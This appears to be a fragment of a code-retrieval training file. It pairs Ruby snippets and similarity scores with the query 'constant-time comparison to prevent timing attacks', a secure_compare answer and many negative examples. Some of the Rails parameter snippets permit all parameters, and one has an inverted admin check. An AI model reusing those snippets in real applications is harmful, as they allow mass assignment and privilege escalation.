"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
constanttime comparison algorithm to prevent timing attacks
|
def secure_compare(a, b)
return false unless a.bytesize == b.bytesize
l = a.unpack "C#{a.bytesize}"
res = 0
b.each_byte { |byte| res |= byte ^ l.shift }
res == 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def constant_time_comparison(mac_a, mac_b)\n result = mac_a.length ^ mac_b.length\n for i in 0..[mac_a.length, mac_b.length].min - 1\n result |= mac_a[i].ord ^ mac_b[i].ord\n end\n result.zero?\n end",
"def secure_compare(a, b); end",
"def secure_compare(a, b); end",
"def secure_compare(a, b); end",
"def time_safe_equals(a, b)\n a.hash == b.hash && a == b\n end",
"def test_consistency_ruby_test\r\n rubyArr = [1,1]\r\n seed = 10\r\n r = Random.new(seed)\r\n firstIteration = mine(rubyArr, r)\r\n secondIteration = mine(rubyArr, r)\r\n if firstIteration = secondIteration\r\n assert true\r\n end\r\n end",
"def compare(x, y); end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\nend",
"def approxmatching(a,b)\n\treturn (a==b)\nend",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack(\"C*\")\n\n r, i = 0, -1\n b.each_byte { |v| r |= v ^ l[i+=1] }\n r == 0\n end",
"def is_one_away(a, b)\n ptr_a = 0\n ptr_b = 0\n one_away = false\n # 1)\n if a.length == b.length\n # 2)\n for i in 0...(a.length)\n if a[i] != b[i] && !one_away\n one_away = true\n elsif a[i] != b[i] && one_away\n return false\n end\n return true\n end\n else # 3)\n if (a.length - b.length).abs > 1\n return false\n elsif a.length > b.length\n for i in 0...(a.length)\n if a[i] == b[ptr_b]\n ptr_b += 1\n elsif a[i] != b[ptr_b] && !one_away\n one_away = true\n elsif a[i] != b[ptr_b] && one_away\n return false\n end\n end\n return true\n elsif a.length < b.length\n for i in 0...(b.length)\n if b[i] == a[ptr_a]\n ptr_a += 1\n elsif b[i] != a[ptr_a] && !one_away\n one_away = true\n elsif b[i] != a[ptr_a] && one_away\n return false\n end\n end\n return true\n end\n end\nend",
"def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n if a.length == b.length\n result = 0\n for i in 0..(a.length - 1)\n result |= a[i].ord ^ b[i].ord # #ord calls added for ruby1.9\n end\n result == 0\n else\n false\n end\n end",
"def compare(one, other)\n other_rem = other.remaining_same_calls\n one_rem = one.remaining_same_calls\n if one_rem == other_rem\n # Note: the line below is correctly reversing the operands\n # This is done to have the larger period ordered before the\n # shorter ones when the remaining hits are the same.\n other.period.granularity <=> one.period.granularity\n elsif other_rem == -1 || one_rem < other_rem\n -1\n else\n 1\n end\n end",
"def slow_compare(arr)\n max = arr.first\n arr.each do |el1|\n arr.each do |el2|\n max = (el1 < max ? el1 : max)\n end\n end\n max\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false if a.nil? || b.nil? || a.empty? || b.empty? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def compare_serial(s1, s2)\n if s1 == s2\n return 0\n end\n if s1 < s2 and (s2 - s1) < (2**31)\n return 1\n end\n if s1 > s2 and (s1 - s2) > (2**31)\n return 1\n end\n if s1 < s2 and (s2 - s1) > (2**31)\n return -1\n end\n if s1 > s2 and (s1 - s2) < (2**31)\n return -1\n end\n return 0\n end",
"def converge?(a, b)\n difference = find_difference(a, b)\n\n a_runner = a\n b_runner = b\n\n if difference > 0\n difference.times do\n b_runner = b_runner.next\n end\n else\n (-difference).times do\n a_runner = a_runner.next\n end\n end\n\n until a_runner.nil?\n return true if a_runner == b_runner\n a_runner = a_runner.next\n b_runner = b_runner.next\n end\n\n false\nend",
"def secure_compare(a, b)\n\tif a.length == b.length\n\t\tresult = 0\n\t\tfor i in 0..(a.length - 1)\n\t\t\tresult |= a[i] ^ b[i]\n\t\tend\n\t\tresult == 0\n\telse\n\t\tfalse\n\tend\nend",
"def kangaroo(kanga1, rate1, kanga2, rate2)\n if kanga1 == kanga2\n return true\n end\n if kanga1 < kanga2 && rate1 < rate2 || kanga2 < kanga1 && rate2 < rate1\n return false\n end\n\n if kanga1 < kanga2\n first = kanga1\n last = kanga2\n first_speed = rate1\n last_speed = rate2\n else\n first = kanga2\n last = kanga1\n first_speed = rate2\n last_speed = rate1\n end\n\n while first <= last do \n last += last_speed\n first += first_speed\n if first == last \n return true\n end\n end\n false\nend",
"def secure_compare(other)\n return false unless self.bytesize == other.bytesize\n\n l = self.unpack \"C#{self.bytesize}\"\n\n res = 0\n other.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n\t\treturn false if a.blank? || b.blank? || a.bytesize != b.bytesize\n\t\tl = a.unpack \"C#{a.bytesize}\"\n\n\t\tres = 0\n\t\tb.each_byte { |byte| res |= byte ^ l.shift }\n\t\tres == 0\n\tend",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack(\"C#{a.bytesize}\")\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def compare( otherBlock )\n\t\ts1 = @startTime\n\t\te1 = @endTime\n\t\ts2 = otherBlock.startTime\n\t\te2 = otherBlock.endTime\n\t\tstarts12 = s1.compare(s2)\n\t\tif starts12 == :isbefore\n\t\t\tlen1 = self.length\n\t\t\tdelta = (s2.value-s1.value)\n\t\t\tif len1 > delta\n\t\t\t\treturn :iscoincident\n\t\t\tend\n\t\t\treturn :isbefore\n\t\telsif starts12 == :isafter\n\t\t\tlen2 = otherBlock.length\n\t\t\tdelta = (s1.value-s2.value)\n\t\t\tif len2 > delta\n\t\t\t\treturn :iscoincident\n\t\t\tend\n\t\t\treturn :isafter\n\t\telsif starts12 == :iscoincident\n\t\t\t# they have to collide\n\t\t\treturn :iscoincident\n\t\telse\n\t\t\t# invalid compare value\n\n\t\tend\n\tend",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def do_compare (opts)\n\tif (params = opts[:parameters]) && params.size(:seq) > 0 &&\n\t params[0].is_a?(Numeric)\n\t diff = params[0]\n\telse diff = 0\n\tend\n\tdiff = @original - diff\n\tcase opts[:method]\n\twhen '<' then diff < 0\n\twhen '<=' then diff <= 0\n\twhen '==' then diff == 0\n\twhen '!=' then diff != 0\n\twhen '>=' then diff >= 0\n\twhen '>' then diff > 0\n\tend\n end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def frog_jump(x, a)\n d = {}\n (1..x).each {|i| d[i] = true }\n\n min_time = -1\n len = a.length - 1\n\n (0..len).each do |sec|\n n = a[sec]\n d.delete(n) if d[n]\n if d.length == 0\n min_time = sec\n break\n end\n end\n\n return min_time\nend",
"def reactive_pair?(a, b)\n (a.ord - b.ord).abs == MATCH_DIFF\n end",
"def secure_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\tputs l.class\n\n res = 0\n b.each_byte do |byte| \n\t k = l.shift\n\t res |= byte ^ k\n\t puts \"#{byte}-#{k}-#{res}\"\n\tend\n\tputs res\n res == 0\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack(\"C#{a.bytesize}\")\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def secure_compare(a, b)\n return false unless a.bytesize == b.bytesize\n\n l = a.unpack(\"C#{a.bytesize}\")\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def compute_cache\n\n\t\t# cache of equality will be stored on @equals\n\t\t# we store if a number if equal to the successor\n\t\t@equals = Array.new( @sequence.size )\n\n\t\t# for every number on the list\n\t\ti = 0\n\t\t@sequence.reduce do |left,right|\n\n\t\t\t# We compute and store the equality\n\t\t\t@equals[i] = ( left === right )\n\n\t\t\t# next number!!!\n\t\t\ti += 1\n\n\t\t\t# we return right to continue the reduce\n\t\t\tright\n\t\tend\n\n\t\t# The last number is NOT equal to the successor\n\t\t@equals[ i ] = false\n\tend",
"def run_pass(input)\n corrections_made = false\n (input.length - 1).times do |index|\n if input[index] > input[index + 1]\n corrections_made = true\n val_0 = input[index +1]\n val_1 = input[index]\n input[index] = val_0\n input[index + 1] = val_1\n end\n end\n return corrections_made\nend",
"def compare_for_near_match(guess_index)\n (0..3).each do |code_index|\n next unless guess[guess_index] == code[code_index]\n\n key.push(\"O\")\n code[code_index] = 0\n break\n end\n end",
"def execute_CMP(destination, source)\n\t\tset_auxiliary_carry_flag_from destination.value.lowest_4_bits - source.value.lowest_4_bits\n\t\tperform_arithmetic_operation(source, destination, destination.value - source.value)\n\tend",
"def diff_to_compare; end",
"def one_away?(first, second)\n # O(1)\n strings = [first, second].sort_by { |string| string.length}\n # O(2N) = O(N)\n strings = strings.map { |string| string.split('') }\n action_taken = false\n dif = strings[1].count - strings[0].count\n\n return false if dif < 0 || dif > 1\n\n # O(N)\n strings[1].each_with_index do |base, index|\n index = index - 1 if action_taken && dif == 1\n\n if base != strings[0][index]\n return false if action_taken\n action_taken = true\n end\n end\n\n true\nend",
"def compare( otherBlock )\n\t\ts1 = self.startTime\n\t\te1 = self.endTime\n\t\ts2 = otherBlock.startTime\n\t\te2 = otherBlock.endTime\n\t\tif s1 < s2\n\t\t\tlen1 = self.length\n\t\t\tdelta = (s2-s1)\n\t\t\tif len1 > delta\n\t\t\t\treturn :iscoincident\n\t\t\tend\n\t\t\treturn :isbefore\n\t\telsif s2 < s1\n\t\t\tlen2 = otherBlock.length\n\t\t\tdelta = (s1-s2)\n\t\t\tif len2 > delta\n\t\t\t\treturn :iscoincident\n\t\t\tend\n\t\t\treturn :isafter\n\t\telse # s1 == s2\n\t\t\t# they have to collide\n\t\t\treturn :iscoincident\n\t\tend\n\tend",
"def times_effectively_equal(time1, time2, seconds_interval = 1)\n (time1.to_i - time2.to_i).abs <= seconds_interval\n end",
"def compare(pair1, pair2) # each pair in the form [base, exponent]\n Math.log(pair1[0]) * pair1[1] > Math.log(pair2[0]) * pair2[1]\nend",
"def kangaroo(x1, v1, x2, v2)\n x1_behind = (x1 < x2)\n # Check if kangaroos will never meet\n if !x1_behind && (v1 >= v2)\n print 'NO'\n return 'NO'\n end\n if x1_behind && (v2 >= v1)\n print 'NO'\n return 'NO'\n end\n\n loop do\n x1 += v1\n x2 += v2\n if x1 == x2\n print 'YES'\n return 'YES'\n end\n if x1_behind\n if x1 > x2\n print 'NO'\n return 'NO'\n end\n elsif x2 > x1\n print 'NO'\n return 'NO'\n end\n\n end\nend",
"def ver_cmp(version1,version2)\n v_int_lista=version1.split(\".\").map { |x| x.to_i() }\n v_int_listb=version2.split(\".\").map { |x| x.to_i() }\n lena=v_int_lista.length()\n lenb=v_int_listb.length()\n minab=lena<lenb ? lena:lenb\n ii=0\n while(ii<minab)\n if v_int_lista[ii]!=v_int_listb[ii]\n break\n end\n ii=ii+1\n end\n if ii<minab\n then\n return v_int_lista[ii]-v_int_listb[ii]\n elsif ii==minab\n then\n if lena>minab\n then\n return 1\n elsif (lenb > minab)\n then\n return -1\n else\n return v_int_lista[minab-1]-v_int_listb[minab-1]\n end\n end\n return 9999\nend",
"def test\n\t\t@a+@b > @c && @a+@c > @b && @b+@c > @a\n\tend",
"def times_effectively_equal(time1, time2, seconds_interval = 1)\n (time1 - time2).abs <= seconds_interval\n end",
"def secure_token_compare(a, b)\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def comp(array1, array2)\n return false if array1.nil? || array2.nil? || array1.length != array2.length\n a = array1.sort\n b = array2.sort\n b.each_with_index do |value, i|\n if a[i]*a[i] != value\n return false\n end\n end\n return true\nend",
"def secure_compare(value)\n a = self.secret\n b = value\n\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end",
"def min_refuel array_of_gas_station, total_distance, l_km\r\n\tt1 = Time.now\r\n\ttotal_refuel = 0\r\n\trefueld_at = []\r\n\tcan_travel = l_km\r\n\tflag = \"yes\"\r\n\tarray_of_gas_station.each_with_index do |arr,index|\r\n\t\tif arr > can_travel\r\n\t\t\tcan_travel += l_km\r\n\t\t\ttotal_refuel += 1\r\n\t\t\trefueld_at << (index-1)\r\n\t\telsif arr == can_travel\r\n\t\t\tcan_travel += l_km\r\n\t\t\ttotal_refuel += 1\r\n\t\t\trefueld_at << index\r\n\t\tend\r\n\tend\r\n\trefueld_at.each_with_index do |arr, i|\r\n\t\tif refueld_at[i] == refueld_at[i+1] || refueld_at[i] < 0\r\n\t\t\tflag = \"no\"\r\n\t\tend\r\n\tend\r\n\tif flag.eql? \"yes\"\r\n\t\tt2 = Time.now\r\n\t\tp \"total refuel : #{total_refuel}\"\r\n\t\tp \"refueled at : #{refueld_at}\"\r\n\t\tp \"Time taken : #{t2 - t1}\"\r\n\telse\r\n\t\tt2 = Time.now\r\n\t\tp \"can't travel\"\r\n\t\tp \"Time taken : #{t2 - t1}\"\r\n\tend\r\nend",
"def checkEqrr(before, after, instruction)\n\ta = instruction[1] #reg\n\tb = instruction[2] #reg\n\tc = instruction[3] #reg\n\n\treturn (after[c] == 1 && before[a] == before[b]) || (after[c] == 0 && before[a] != before[b])\nend",
"def eql(input)\n return 0 if input.size == 1\n counter = 1\n while counter < input.size - 1\n outputl = 0\n outputr = 0\n counter2 = 0\n while counter2 < input.size\n if counter < counter2\n outputl += input[counter2]\n elsif counter > counter2\n outputr += input[counter2]\n end\n counter2 += 1\n end\n return counter if outputl == outputr\n counter += 1\n end\nend",
"def player_2_wins?(player_1, player_2)\n xor_sum = 0\n player_1.each_index do |i|\n dist = (player_1[i] - player_2[i]).abs\n xor_sum ^= (dist-1)\n end\n return xor_sum != 0\nend",
"def compare_two_seq2(sequence1 = \"\", sequence2 = \"\")\n aln_seq = muscle_sequence2(sequence1,sequence2)\n seq1 = aln_seq[0]\n seq2 = aln_seq[1]\n length = seq1.size\n diff = 0\n (0..(length-1)).each do |position|\n nt1 = seq1[position]\n nt2 = seq2[position]\n diff += 1 unless nt1 == nt2\n end\n return diff\nend",
"def approx_same_values_as?(other)\n delta = s_copy.sub(other).to_a.inject(0.0) do |result, element|\n result + element**2.0\n end\n delta < EPSILON\n end",
"def kangaroo(x1, v1, x2, v2)\n # return v2<v1 && !((x2-x1) % (v1-v2)) ? \"YES\" : \"NO\"\n # p (x2-x1)\n # p (v1-v2)\n if (((x2-x1) % (v1-v2)) rescue -1) == 0 && v2 < v1\n return \"YES\"\n else\n return \"NO\"\n end\n\nend",
"def <=>(other)\n @logger = Logger.new(\"#{Rails.root}/log/cache_read.log\")\n @logger.debug \"--sort: comparing: #{other.match_rate} vs #{@match_rate}\"\n return (other.match_rate <=> @match_rate)\n end",
"def score_check(t1, t2)\n if t1 > t2\n result = 1\n elsif t2 > t1\n result = 2\n else\n result = 0\n end\n\n return result\n end",
"def safe_equals? a, b\n check = a.bytesize ^ b.bytesize\n a.bytes.zip(b.bytes) { |x, y| check |= x ^ y.to_i }\n check.zero?\n end",
"def compare time_1, time_2\n return 1 if time_1.hour > time_2.hour\n return -1 if time_1.hour < time_2.hour\n return 1 if time_1.minute > time_2.minute\n return -1 if time_1.minute < time_2.minute\n\n 0\n end",
"def old() @time < Time.now.to_f end",
"def is_straight?\n order_by_value.each_cons(2).all? { |x,y| y.point == x.point + 1 }\n end",
"def compare_two_seq(seq1 = \"\", seq2 = \"\")\n length = seq1.size\n diff = 0\n (0..(length-1)).each do |position|\n nt1 = seq1[position]\n nt2 = seq2[position]\n diff += 1 unless nt1 == nt2\n end\n return diff\nend",
"def asteroid_collision(asteroids)\n puts '-' * 43\n puts \"asteroid_collision: #{asteroids}\"\n\n return [] if asteroids.empty?\n\n res = []\n\n asteroids.each do |ast|\n puts res.to_s\n\n if res.empty?\n res.push(ast)\n next\n end\n\n temp = res.pop\n\n if (temp < 0) && (ast < 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n if (temp > 0) && (ast > 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n if (temp < 0) && (ast > 0)\n res.push(temp)\n res.push(ast)\n next\n end\n\n next if (temp**2) == (ast**2)\n\n if compare(temp, ast) == ast\n redo\n else\n res.push(temp)\n end\n end\n\n puts \" > #{res}\"\n\n res\nend",
"def compare(a, b)\n #YOUR WORK HERE\n end",
"def optimize\n left.ne(right.first)\n end",
"def condition(i, j)\n # first solved the two equations for just i and j\n 500_000 - 1000*i - 1000*j + i*j == 0\nend",
"def comparisons\n comps = self.comparison_firsts\n self.comparison_seconds.each do |second|\n comps << second\n end\n comps\n end",
"def same_time?(other)\n return false unless self.b == other.b\n return true if self.n.zero? && other.n.zero?\n self_div = Rational(self.n, self.d)\n other_div = Rational(other.n, other.d)\n self_div == other_div\n end",
"def cat_compatibility_algorithm(all_cats)\n puts \"Assessing cats...\"\n \n before_assessment_time = Time.now\n all_cats.each { |cat| cat.assess } #=> O(n)\n \n puts \"Catssessments completed in #{(Time.now - before_assessment_time)}s\"\n \n puts \"Comparing cats...\"\n before_compare_time = Time.now\n all_cats.each_with_index do |cat_1, i|\n all_cats.drop(i + 1).each do |cat_2|\n next if cat2 == cat1 #=> O(n*(n-1)/2) O(n^2/2-n/2) O(n^2)\n cat_1.compare(cat_2)\n end\n end #=> O(n^2)\n [1,2,3,4]\n\n \n puts \"Cat comparisons completed in #{(Time.now - before_compare_time)}s\"\n end",
"def inflight(mins, movie_times)\n movie_times.each_with_index do |time, i|\n tmp = movie_times.dup\n tmp.slice!(i)\n diff = mins - time\n return true if tmp.include? diff\n end\n return false\nend",
"def same_bsts(array_one, array_two)\n return are_same_bsts(array_one, array_two, 0, 0, Float::INFINITY, -Float::INFINITY)\nend",
"def third_anagram?(str1, str2)\n beginning_time = Time.now\n str1.split(\"\").sort == str2.split(\"\").sort #O(nlogn)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend",
"def benchmark(s1, s2)\n puts \"s1=#{s1}\"\n puts \"s2=#{s2}\"\n puts \n \n start_time = Time.now\n #match = number_match(s1, s2)\n match = slide_cache(s1, s2)\n duration = Time.now - start_time\n \n puts \"Slide match: #{match}\"\n puts \"Took: #{(duration * 1000).round(5)}ms\"\n puts\n \n=begin \n start_time = Time.now\n a1 = build_substrings(s1)\n a2 = build_substrings(s2)\n match = find_longest_match(a1, a2)\n duration = Time.now - start_time\n \n puts \"Table match: #{match}\"\n puts \"Took: #{duration * 1000}ms\"\n=end \nend",
"def kangaroo(x1, v1, x2, v2)\n met = false\n while x1 < x2 && v2 < v1\n x1 = x1 + v1\n x2 = x2 + v2\n met = true if x1 == x2 \n end\n met == true ? 'YES' : 'NO'\nend",
"def probability_exact\n\t\t str_format=\"%0#{nr}b\"\n\t\t combinations=2**nr\n\t\t #p str_format\n\t\t total_w=combinations.times.map do |i|\n comb=sprintf(str_format,i)\n w_local=comb.length.times.inject(0) do |ac,j|\n sgn=comb[j]==\"0\" ? -1 : 1\n\t\t\t\t ac+(j+1)*sgn\n end\n\t\t end.sort\n\n \t\t total_w.find_all do |v| \n if @tails==:both\n v<=-w.abs or v>=w.abs\n elsif @tails==:left\n v<=w\n elsif @tails==:right\n \t\t\t\t v>=w\n end\n \t\t end.count/(combinations.to_f)\n end",
"def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend",
"def test_cur_sec_greater\n \tassert(@bv.timestap_correct(1, \"123456.1111\", \"123457.1111\"))\n end",
"def compare(move1, move2)\r\n\r\nend",
"def test_compare\r\n assert_equal(-1, @lucas<=>@uwe)\r\n assert_equal(-1, @lucas<=>@person1)\r\n assert_equal(-1, @person1<=>@person2)\r\n assert_equal(1, @person2<=>@person3)\r\n\r\n assert_equal(0, @lucas<=>@lucas2)\r\n\r\n assert_equal(1,@lucas.<=>(@uwe,2))\r\n end",
